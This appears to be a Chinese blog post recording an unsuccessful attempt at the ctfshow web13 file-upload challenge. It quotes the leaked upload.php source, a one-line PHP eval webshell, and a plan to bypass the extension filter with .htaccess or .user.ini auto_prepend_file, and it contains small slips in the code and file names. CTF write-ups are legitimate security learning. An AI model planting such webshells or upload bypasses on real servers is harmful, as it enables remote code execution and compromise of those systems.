CTF web之旅35

ctfshow web13 文件上传

试了好多文件名 都没有上传成功

没有突破点就扫一下目录  御剑扫出upload.php 加上.bak 尝试一下源码泄露

<?php 
    header("content-type:text/html;charset=utf-8");
    $filename = $_FILES['file']['name'];
    $temp_name = $_FILES['file']['tmp_name'];
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    $arr = pathinfo($filename);
    $ext_suffix = $arr['extension'];
    if ($size > 24){
        die("error file zise");
    }
    if (strlen($filename)>9){
        die("error file name");
    }
    if(strlen($ext_suffix)>3){
        die("error suffix");
    }
    if(preg_match("/php/i",$ext_suffix)){
        die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
    if (move_uploaded_file($temp_name, './'.$filename)){
        echo "文件上传成功!";
    }else{
        echo "文件上传失败!";
    }

 ?>

文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,后缀和不包含后缀的文件名都不能包含php

上传1.txt 短标签一句话木马

<?=@eval($_POST['a']);?>或者是<?php eval($_POST['a']);

怎么让他当做php被解释执行呢 我考虑上传.htaccess文件 这是apache的配置文件如果里面包含

SetHandler application/x-httpd-php 设置当前所有目录都被当做php文件解析 无论上传任何文件 只要内容符合php规范 都会被当做php代码执行,不符合则报错 但是文件太大了 超过了字节限制 考虑上传.usr.ini 文件 里面是 auto_prepend_file =1.txt auto_prepend_file 表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件,在开发中不用每个php文件都要重复包含同一个文件 上传.usr.ini 文件后表示该目录下的所有文件都会包含a.txt的内容 webshell工具也是连不上的 最后试了其他师傅的方法也没找到flag。。 伤脑筋。。    

 

上一篇:ctf刷题记录


下一篇:AndroidUI组件之RoomButton